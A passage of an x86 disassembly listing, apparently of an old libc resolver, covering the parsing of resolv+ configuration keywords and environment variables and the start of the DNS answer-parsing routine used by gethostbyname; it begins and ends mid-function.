		mov	ecx, 0FFFFFFFFh
		repne scasb
		cmp	ecx, 0FFFFFFFBh
		jnz	short loc_804AFD4
		push	3
		push	offset aOff	; "off"
		push	ebx
		call	strncasecmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_804AFD4
		cmp	byte ptr [ebx+3], 0
		jz	short loc_804AFC3
		movzx	edx, byte ptr [ebx+3]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	20h
		jz	short loc_804AFD4

loc_804AFC3:				; CODE XREF: init_services+5D9j
		mov	dword_8078514, 0
		jmp	loc_804AA5C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804AFD4:				; CODE XREF: init_services+5BFj
					; init_services+5D3j ...
		push	offset aNospoof	; "nospoof"
		jmp	loc_804B261
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804AFE0:				; CODE XREF: init_services+528j
					; init_services+547j ...
		push	offset aNospoof	; "nospoof"
		jmp	loc_804B395
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804AFEC:				; CODE XREF: init_services+4EAj
					; init_services+50Aj
		push	5
		push	offset aAlert	; "alert"
		mov	eax, [ebp+var_410]
		push	eax
		call	strncasecmp
		mov	edx, eax
		add	esp, 0Ch
		test	edx, edx
		jnz	loc_804B130
		cmp	[ebp+var_3FB], 0
		jz	short loc_804B02C
		movzx	edx, [ebp+var_3FB]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	20h
		jz	loc_804B130

loc_804B02C:				; CODE XREF: init_services+63Bj
		push	offset asc_806791B ; " \t"
		mov	ecx, [ebp+var_410]
		push	ecx
		call	strpbrk
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	loc_804B124
		cmp	byte ptr [ebx],	0
		jz	short loc_804B06E
		mov	edx, dword_8078FA0
		lea	esi, [esi+0]

loc_804B058:				; CODE XREF: init_services+694j
		movzx	eax, byte ptr [ebx]
		test	byte ptr [edx+eax*2+1],	20h
		jz	short loc_804B06E
		inc	ebx
		jz	loc_804B124
		cmp	byte ptr [ebx],	0
		jnz	short loc_804B058

loc_804B06E:				; CODE XREF: init_services+675j
					; init_services+688j
		test	ebx, ebx
		jz	loc_804B124
		cmp	byte ptr [ebx],	0
		jz	loc_804B124
		mov	edi, ebx
		xor	al, al
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		cmp	ecx, 0FFFFFFFCh
		jnz	short loc_804B0CC
		push	2
		push	offset aOn	; "on"
		push	ebx
		call	strncasecmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_804B0CC
		cmp	byte ptr [ebx+2], 0
		jz	short loc_804B0BA
		movzx	edx, byte ptr [ebx+2]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	20h
		jz	short loc_804B0CC

loc_804B0BA:				; CODE XREF: init_services+6D0j
		mov	dword_8078518, 1
		jmp	loc_804AA5C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804B0CC:				; CODE XREF: init_services+6B6j
					; init_services+6CAj ...
		mov	edi, ebx
		xor	al, al
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		cmp	ecx, 0FFFFFFFBh
		jnz	short loc_804B118
		push	3
		push	offset aOff	; "off"
		push	ebx
		call	strncasecmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_804B118
		cmp	byte ptr [ebx+3], 0
		jz	short loc_804B107
		movzx	edx, byte ptr [ebx+3]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	20h
		jz	short loc_804B118

loc_804B107:				; CODE XREF: init_services+71Dj
		mov	dword_8078518, 0
		jmp	loc_804AA5C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804B118:				; CODE XREF: init_services+703j
					; init_services+717j ...
		push	offset aAlert	; "alert"
		jmp	loc_804B261
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804B124:				; CODE XREF: init_services+66Cj
					; init_services+68Bj ...
		push	offset aAlert	; "alert"
		jmp	loc_804B395
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804B130:				; CODE XREF: init_services+62Ej
					; init_services+64Ej
		push	7
		push	offset aReorder	; "reorder"
		mov	eax, [ebp+var_410]
		push	eax
		call	strncasecmp
		mov	edx, eax
		add	esp, 0Ch
		test	edx, edx
		jnz	loc_804B2C8
		cmp	[ebp+var_3F9], 0
		jz	short loc_804B170
		movzx	edx, [ebp+var_3F9]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	20h
		jz	loc_804B2C8

loc_804B170:				; CODE XREF: init_services+77Fj
		push	offset asc_806791B ; " \t"
		mov	ecx, [ebp+var_410]
		push	ecx
		call	strpbrk
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	loc_804B2BC
		cmp	byte ptr [ebx],	0
		jz	short loc_804B1B2
		mov	edx, dword_8078FA0
		lea	esi, [esi+0]

loc_804B19C:				; CODE XREF: init_services+7D8j
		movzx	eax, byte ptr [ebx]
		test	byte ptr [edx+eax*2+1],	20h
		jz	short loc_804B1B2
		inc	ebx
		jz	loc_804B2BC
		cmp	byte ptr [ebx],	0
		jnz	short loc_804B19C

loc_804B1B2:				; CODE XREF: init_services+7B9j
					; init_services+7CCj
		test	ebx, ebx
		jz	loc_804B2BC
		cmp	byte ptr [ebx],	0
		jz	loc_804B2BC
		mov	edi, ebx
		xor	al, al
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		cmp	ecx, 0FFFFFFFCh
		jnz	short loc_804B210
		push	2
		push	offset aOn	; "on"
		push	ebx
		call	strncasecmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_804B210
		cmp	byte ptr [ebx+2], 0
		jz	short loc_804B1FE
		movzx	edx, byte ptr [ebx+2]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	20h
		jz	short loc_804B210

loc_804B1FE:				; CODE XREF: init_services+814j
		mov	dword_807851C, 1
		jmp	loc_804AA5C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804B210:				; CODE XREF: init_services+7FAj
					; init_services+80Ej ...
		mov	edi, ebx
		xor	al, al
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		cmp	ecx, 0FFFFFFFBh
		jnz	short loc_804B25C
		push	3
		push	offset aOff	; "off"
		push	ebx
		call	strncasecmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_804B25C
		cmp	byte ptr [ebx+3], 0
		jz	short loc_804B24B
		movzx	edx, byte ptr [ebx+3]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	20h
		jz	short loc_804B25C

loc_804B24B:				; CODE XREF: init_services+861j
		mov	dword_807851C, 0
		jmp	loc_804AA5C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804B25C:				; CODE XREF: init_services+847j
					; init_services+85Bj ...
		push	offset aReorder	; "reorder"

loc_804B261:				; CODE XREF: init_services+4BDj
					; init_services+601j ...
		mov	ecx, [ebp+var_40C]
		push	ecx
		push	offset aResolvSSComman ; "resolv+: %s: \"%s\" command incorrectly f"...
		push	0Ch
		push	0Bh
		mov	eax, dword_8078F9C
		push	eax
		call	sub_805E584
		add	esp, 10h
		mov	edx, eax
		push	edx
		push	offset unk_80787A4
		call	_IO_fprintf
		push	ebx
		push	offset aResolvSIsAnInv ; "resolv+: \"%s\" is an	invalid	keyword\n"
		push	0Dh
		push	0Bh
		mov	ecx, dword_8078F9C
		push	ecx
		call	sub_805E584
		add	esp, 10h
		mov	edx, eax
		push	edx
		push	offset unk_80787A4
		call	_IO_fprintf
		add	esp, 1Ch
		jmp	loc_804AA5C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804B2BC:				; CODE XREF: init_services+7B0j
					; init_services+7CFj ...
		push	offset aReorder	; "reorder"
		jmp	loc_804B395
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804B2C8:				; CODE XREF: init_services+772j
					; init_services+792j
		push	4
		push	offset aTrim	; "trim"
		mov	eax, [ebp+var_410]
		push	eax
		call	strncasecmp
		mov	edx, eax
		add	esp, 0Ch
		test	edx, edx
		jnz	loc_804B3CC
		cmp	[ebp+var_3FC], 0
		jz	short loc_804B308
		movzx	edx, [ebp+var_3FC]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	20h
		jz	loc_804B3CC

loc_804B308:				; CODE XREF: init_services+917j
		cmp	dword_8078520, 3
		jg	loc_804AA5C
		push	offset asc_806791B ; " \t"
		mov	ecx, [ebp+var_410]
		push	ecx
		call	strpbrk
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	short loc_804B390
		jmp	short loc_804B335
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804B334:				; CODE XREF: init_services+960j
					; init_services+965j
		inc	ebx

loc_804B335:				; CODE XREF: init_services+957j
		cmp	byte ptr [ebx],	20h
		jz	short loc_804B334
		cmp	byte ptr [ebx],	9
		jz	short loc_804B334
		cmp	byte ptr [ebx],	0
		jz	short loc_804B390
		push	ebx
		mov	eax, [ebp+var_408]
		push	eax
		call	strcpy
		mov	eax, [ebp+var_408]
		mov	ecx, dword_8078520
		mov	ds:dword_807A348[ecx*4], eax
		inc	dword_8078520
		mov	edi, ebx
		xor	al, al
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	edx, ecx
		not	edx
		mov	[ebp+var_414], edx
		add	[ebp+var_408], edx
		add	esp, 8
		jmp	loc_804AA5C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804B390:				; CODE XREF: init_services+955j
					; init_services+96Aj
		push	offset aTrim	; "trim"

loc_804B395:				; CODE XREF: init_services+4C9j
					; init_services+60Dj ...
		mov	eax, [ebp+var_40C]
		push	eax
		push	offset aResolvSSComman ; "resolv+: %s: \"%s\" command incorrectly f"...
		push	0Ch
		push	0Bh
		mov	ecx, dword_8078F9C
		push	ecx

loc_804B3AC:				; CODE XREF: init_services+19Ej
		call	sub_805E584
		add	esp, 10h
		mov	edx, eax
		push	edx
		push	offset unk_80787A4
		call	_IO_fprintf
		add	esp, 10h
		jmp	loc_804AA5C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804B3CC:				; CODE XREF: init_services+90Aj
					; init_services+92Aj
		push	offset asc_806791B ; " \t"
		mov	eax, [ebp+var_410]
		push	eax
		call	strpbrk
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	short loc_804B3E9
		mov	byte ptr [ebx],	0

loc_804B3E9:				; CODE XREF: init_services+A0Cj
		mov	ecx, [ebp+var_410]
		push	ecx
		push	offset aResolvSIsAnInv ; "resolv+: \"%s\" is an	invalid	keyword\n"
		push	0Dh
		push	0Bh
		mov	eax, dword_8078F9C
		push	eax
		call	sub_805E584
		add	esp, 10h
		mov	edx, eax
		push	edx
		push	offset unk_80787A4
		call	_IO_fprintf
		add	esp, 0Ch
		jmp	loc_804AA5C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804B41C:				; CODE XREF: init_services+A3j
		mov	ds:dword_8079DD4[esi*4], 0
		mov	ecx, [ebp+var_404]
		push	ecx
		call	_IO_fclose
		add	esp, 4

loc_804B436:				; CODE XREF: init_services+70j
		push	offset aResolv_serv_or ; "RESOLV_SERV_ORDER"
		call	getenv
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	loc_804B542
		xor	esi, esi
		push	offset asc_8067950 ; " ,;:"
		push	ebx
		call	strtok
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	loc_804B542
		nop

loc_804B468:				; CODE XREF: init_services+B59j
		push	4
		push	offset aBind	; "bind"
		push	ebx
		call	strncasecmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_804B4B0
		cmp	byte ptr [ebx+4], 0
		jz	short loc_804B492
		movzx	edx, byte ptr [ebx+4]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	20h
		jz	short loc_804B4B0

loc_804B492:				; CODE XREF: init_services+AA8j
		mov	ds:dword_8079DD4[esi*4], 1
		inc	esi
		test	byte ptr dword_807854C,	1
		jnz	short loc_804B51E
		call	res_init
		jmp	short loc_804B51E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804B4B0:				; CODE XREF: init_services+AA2j
					; init_services+AB8j
		push	5
		push	offset aHosts	; "hosts"
		push	ebx
		call	strncasecmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_804B4E8
		cmp	byte ptr [ebx+5], 0
		jz	short loc_804B4DA
		movzx	edx, byte ptr [ebx+5]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	20h
		jz	short loc_804B4E8

loc_804B4DA:				; CODE XREF: init_services+AF0j
		mov	ds:dword_8079DD4[esi*4], 2
		jmp	short loc_804B51D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804B4E8:				; CODE XREF: init_services+AEAj
					; init_services+B00j
		push	3
		push	offset aNis	; "nis"
		push	ebx
		call	strncasecmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_804B51E
		cmp	byte ptr [ebx+3], 0
		jz	short loc_804B512
		movzx	edx, byte ptr [ebx+3]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	20h
		jz	short loc_804B51E

loc_804B512:				; CODE XREF: init_services+B28j
		mov	ds:dword_8079DD4[esi*4], 3

loc_804B51D:				; CODE XREF: init_services+B0Dj
		inc	esi

loc_804B51E:				; CODE XREF: init_services+ACDj
					; init_services+AD4j ...
		push	offset asc_8067950 ; " ,;:"
		push	0
		call	strtok
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	loc_804B468
		mov	ds:dword_8079DD4[esi*4], 0

loc_804B542:				; CODE XREF: init_services+A6Fj
					; init_services+A89j
		push	offset aResolv_spoof_c ; "RESOLV_SPOOF_CHECK"
		call	getenv
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	loc_804B626
		push	4
		push	offset aWarn	; "warn"
		push	ebx
		call	strncasecmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_804B59C
		cmp	byte ptr [ebx+4], 0
		jz	short loc_804B583
		movzx	edx, byte ptr [ebx+4]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	20h
		jz	short loc_804B59C

loc_804B583:				; CODE XREF: init_services+B99j
		mov	dword_8078514, 1
		mov	dword_8078518, 1
		jmp	loc_804B626
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804B59C:				; CODE XREF: init_services+B93j
					; init_services+BA9j
		push	3
		push	offset aOff	; "off"
		push	ebx
		call	strncasecmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_804B5DC
		cmp	byte ptr [ebx+3], 0
		jz	short loc_804B5C6
		movzx	edx, byte ptr [ebx+3]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	20h
		jz	short loc_804B5DC

loc_804B5C6:				; CODE XREF: init_services+BDCj
		mov	dword_8078514, 0
		mov	dword_8078518, 0
		jmp	short loc_804B626
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804B5DC:				; CODE XREF: init_services+BD6j
					; init_services+BECj
		push	8
		push	offset aWarnOff	; "warn	off"
		push	ebx
		call	strncasecmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_804B61C
		cmp	byte ptr [ebx+8], 0
		jz	short loc_804B606
		movzx	edx, byte ptr [ebx+8]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	20h
		jz	short loc_804B61C

loc_804B606:				; CODE XREF: init_services+C1Cj
		mov	dword_8078514, 1
		mov	dword_8078518, 0
		jmp	short loc_804B626
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804B61C:				; CODE XREF: init_services+C16j
					; init_services+C2Cj
		mov	dword_8078514, 1

loc_804B626:				; CODE XREF: init_services+B7Bj
					; init_services+BBFj ...
		push	offset aResolv_multi ; "RESOLV_MULTI"
		call	getenv
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_804B67A
		push	2
		push	offset aOn	; "on"
		push	ebx
		call	strncasecmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_804B670
		cmp	byte ptr [ebx+2], 0
		jz	short loc_804B663
		movzx	edx, byte ptr [ebx+2]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	20h
		jz	short loc_804B670

loc_804B663:				; CODE XREF: init_services+C79j
		mov	dword_8078510, 1
		jmp	short loc_804B67A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804B670:				; CODE XREF: init_services+C73j
					; init_services+C89j
		mov	dword_8078510, 0

loc_804B67A:				; CODE XREF: init_services+C5Fj
					; init_services+C95j
		push	offset aResolv_reorder ; "RESOLV_REORDER"
		call	getenv
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_804B6CE
		push	2
		push	offset aOn	; "on"
		push	ebx
		call	strncasecmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_804B6C4
		cmp	byte ptr [ebx+2], 0
		jz	short loc_804B6B7
		movzx	edx, byte ptr [ebx+2]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	20h
		jz	short loc_804B6C4

loc_804B6B7:				; CODE XREF: init_services+CCDj
		mov	dword_807851C, 1
		jmp	short loc_804B6CE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804B6C4:				; CODE XREF: init_services+CC7j
					; init_services+CDDj
		mov	dword_807851C, 0

loc_804B6CE:				; CODE XREF: init_services+CB3j
					; init_services+CE9j
		push	offset aResolv_add_tri ; "RESOLV_ADD_TRIM_DOMAINS"
		call	getenv
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_804B74F
		push	offset asc_8067950 ; " ,;:"
		push	ebx
		jmp	short loc_804B741
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804B6EC:				; CODE XREF: init_services+D75j
		cmp	dword_8078520, 3
		jg	short loc_804B73A
		push	ebx
		mov	eax, [ebp+var_408]
		push	eax
		call	strcpy
		mov	eax, [ebp+var_408]
		mov	ecx, dword_8078520
		mov	ds:dword_807A348[ecx*4], eax
		inc	dword_8078520
		mov	edi, ebx
		xor	al, al
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	edx, ecx
		not	edx
		mov	[ebp+var_414], edx
		add	[ebp+var_408], edx
		add	esp, 8

loc_804B73A:				; CODE XREF: init_services+D1Bj
		push	offset asc_8067950 ; " ,;:"
		push	0

loc_804B741:				; CODE XREF: init_services+D0Fj
		call	strtok
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	short loc_804B6EC

loc_804B74F:				; CODE XREF: init_services+D07j
		push	offset aResolv_overrid ; "RESOLV_OVERRIDE_TRIM_DOMAINS"
		call	getenv
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	loc_804B7E7
		mov	dword_8078520, 0
		mov	[ebp+var_408], offset unk_807A358
		push	offset asc_8067950 ; " ,;:"
		push	ebx
		jmp	short loc_804B7D9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804B784:				; CODE XREF: init_services+E0Dj
		cmp	dword_8078520, 3
		jg	short loc_804B7D2
		push	ebx
		mov	eax, [ebp+var_408]
		push	eax
		call	strcpy
		mov	eax, [ebp+var_408]
		mov	ecx, dword_8078520
		mov	ds:dword_807A348[ecx*4], eax
		inc	dword_8078520
		mov	edi, ebx
		xor	al, al
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	edx, ecx
		not	edx
		mov	[ebp+var_414], edx
		add	[ebp+var_408], edx
		add	esp, 8

loc_804B7D2:				; CODE XREF: init_services+DB3j
		push	offset asc_8067950 ; " ,;:"
		push	0

loc_804B7D9:				; CODE XREF: init_services+DA8j
		call	strtok
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	short loc_804B784

loc_804B7E7:				; CODE XREF: init_services+D88j
		mov	dword_80784F8, 1
		lea	esp, [ebp+var_420]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
init_services	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_804B800	proc near		; CODE XREF: gethostbyname+180p
					; .text:0804C339p

var_144		= byte ptr -144h
var_138		= dword	ptr -138h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 138h
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_12C], 0
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_130], eax
		mov	ds:dword_8079E74, 0
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+arg_4]
		mov	[ebp+var_108], edx
		mov	eax, [ebp+arg_0]
		mov	ax, [eax+6]
		xchg	al, ah
		movzx	edx, ax
		mov	[ebp+var_120], edx
		mov	eax, [ebp+arg_0]
		mov	ax, [eax+4]
		xchg	al, ah
		mov	[ebp+var_10C], offset unk_8079F14
		mov	[ebp+var_11C], 401h
		mov	esi, [ebp+arg_0]
		add	esi, 0Ch
		cmp	ax, 1
		jz	short loc_804B880
		mov	ds:dword_807E788, 3
		jmp	loc_804BE9E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804B880:				; CODE XREF: sub_804B800+6Ej
		mov	edx, [ebp+var_11C]
		push	edx
		mov	eax, [ebp+var_10C]
		push	eax
		push	esi
		mov	edx, [ebp+var_108]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	dn_expand
		mov	ebx, eax
		add	esp, 14h
		test	ebx, ebx
		jge	short loc_804B8B8
		mov	ds:dword_807E788, 3
		jmp	loc_804BE9E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804B8B8:				; CODE XREF: sub_804B800+A6j
		call	libc_nls_init
		lea	esi, [esi+ebx+4]
		cmp	[ebp+arg_10], 1
		jnz	short loc_804B8FF
		xor	cl, cl
		mov	edi, [ebp+var_10C]
		mov	al, cl
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	ebx, ecx
		not	ebx
		mov	edx, [ebp+var_10C]
		mov	ds:dword_8079E74, edx
		add	edx, ebx
		mov	[ebp+var_10C], edx
		sub	[ebp+var_11C], ebx
		mov	eax, ds:dword_8079E74
		mov	[ebp+arg_8], eax

loc_804B8FF:				; CODE XREF: sub_804B800+C5j
		mov	[ebp+var_110], offset dword_8079E88
		mov	ds:dword_8079E88, 0
		mov	ds:dword_8079E78, offset dword_8079E88
		mov	[ebp+var_114], offset dword_8079DE4
		mov	ds:dword_8079DE4, 0
		mov	ds:dword_8079E84, offset dword_8079DE4
		mov	[ebp+var_124], 0
		mov	[ebp+var_128], 0
		mov	eax, [ebp+var_120]
		dec	[ebp+var_120]
		test	eax, eax
		jle	loc_804BE14
		cmp	[ebp+var_108], esi
		jbe	loc_804BE14
		nop

loc_804B970:				; CODE XREF: sub_804B800+60Ej
		mov	edx, [ebp+var_11C]
		push	edx
		mov	eax, [ebp+var_10C]
		push	eax
		push	esi
		mov	edx, [ebp+var_108]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	dn_expand
		mov	ebx, eax
		add	esp, 14h
		test	ebx, ebx
		jl	loc_804BD6C
		add	esi, ebx
		push	esi
		call	sub_804D6B8
		mov	ecx, eax
		movzx	edi, cx
		add	esi, 2
		push	esi
		call	sub_804D6B8
		mov	ecx, eax
		and	ecx, 0FFFFh
		mov	[ebp+var_118], ecx
		add	esi, 6
		push	esi
		call	sub_804D6B8
		mov	ecx, eax
		movzx	ebx, cx
		add	esi, 2
		add	esp, 0Ch
		mov	edx, [ebp+arg_C]
		cmp	[ebp+var_118], edx
		jnz	loc_804BDA7
		cmp	[ebp+arg_10], 1
		jnz	loc_804BB08
		cmp	edi, 5
		jnz	loc_804BB08
		cmp	[ebp+var_110], offset unk_8079F10
		jnb	loc_804BDEF
		push	101h
		lea	eax, [ebp+var_104]
		push	eax
		push	esi
		mov	edx, [ebp+var_108]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	dn_expand
		mov	ebx, eax
		add	esp, 14h
		test	ebx, ebx
		jl	loc_804BD6C
		add	esi, ebx
		cmp	ds:dword_8079E74, 0
		jz	short loc_804BA90
		mov	edx, [ebp+var_10C]
		push	edx
		mov	eax, ds:dword_8079E74
		push	eax
		call	strcasecmp
		mov	ecx, eax
		add	esp, 8
		test	ecx, ecx
		jz	short loc_804BA90
		mov	edx, [ebp+var_10C]
		push	edx
		mov	eax, ds:dword_8079E74
		push	eax
		push	offset aGethostby_geta ; "gethostby*.getanswer:	asked for \"%s\", g"...
		push	1Bh
		push	0Bh
		mov	edx, dword_8078F9C
		push	edx
		call	sub_805E584
		add	esp, 10h
		mov	ecx, eax
		push	ecx
		push	25h
		call	sub_8054EB0
		add	esp, 10h
		jmp	loc_804BDEF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804BA90:				; CODE XREF: sub_804B800+239j
					; sub_804B800+254j
		mov	edx, [ebp+var_10C]
		mov	eax, [ebp+var_110]
		mov	[eax], edx
		add	eax, 4
		mov	[ebp+var_110], eax
		mov	edi, [ebp+var_10C]
		xor	al, al
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	ebx, ecx
		not	ebx
		add	edx, ebx
		mov	[ebp+var_10C], edx
		sub	[ebp+var_11C], ebx
		lea	edi, [ebp+var_104]
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	ebx, ecx
		not	ebx
		cmp	[ebp+var_11C], ebx
		jl	loc_804BD6C
		lea	edx, [ebp+var_104]
		push	edx
		mov	eax, [ebp+var_10C]
		push	eax
		call	strcpy
		mov	edx, [ebp+var_10C]
		mov	ds:dword_8079E74, edx
		jmp	short loc_804BB86
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804BB08:				; CODE XREF: sub_804B800+1E7j
					; sub_804B800+1F0j
		cmp	[ebp+arg_10], 0Ch
		jnz	loc_804BB9C
		cmp	edi, 5
		jnz	loc_804BB9C
		push	101h
		lea	eax, [ebp+var_104]
		push	eax
		push	esi
		mov	edx, [ebp+var_108]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	dn_expand
		mov	ebx, eax
		add	esp, 14h
		test	ebx, ebx
		jl	loc_804BD6C
		add	esi, ebx
		lea	edi, [ebp+var_104]
		xor	al, al
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	ebx, ecx
		not	ebx
		cmp	[ebp+var_11C], ebx
		jl	loc_804BD6C
		lea	edx, [ebp+var_104]
		push	edx
		mov	eax, [ebp+var_10C]
		push	eax
		call	strcpy
		mov	edx, [ebp+var_10C]
		mov	[ebp+var_130], edx

loc_804BB86:				; CODE XREF: sub_804B800+306j
		add	edx, ebx
		mov	[ebp+var_10C], edx
		sub	[ebp+var_11C], ebx
		add	esp, 8
		jmp	loc_804BDEF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804BB9C:				; CODE XREF: sub_804B800+30Cj
					; sub_804B800+315j
		cmp	[ebp+arg_10], edi
		jz	short loc_804BBE0
		mov	eax, [ebp+var_10C]
		push	eax
		push	edi
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_10]
		push	eax
		push	offset aGethostby_ge_0 ; "gethostby*.getanswer:	asked for type %d"...
		push	1Ch
		push	0Bh
		mov	edx, dword_8078F9C
		push	edx
		call	sub_805E584
		add	esp, 10h
		mov	ecx, eax
		push	ecx
		push	25h
		call	sub_8054EB0
		add	esi, ebx
		add	esp, 18h
		jmp	loc_804BDEF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804BBE0:				; CODE XREF: sub_804B800+39Fj
		cmp	edi, 1
		jz	short loc_804BC64
		cmp	edi, 0Ch
		jnz	loc_804BDD8
		mov	eax, [ebp+var_10C]
		push	eax
		mov	edx, [ebp+var_130]
		push	edx
		call	strcasecmp
		mov	ecx, eax
		add	esp, 8
		test	ecx, ecx
		jz	short loc_804BC18
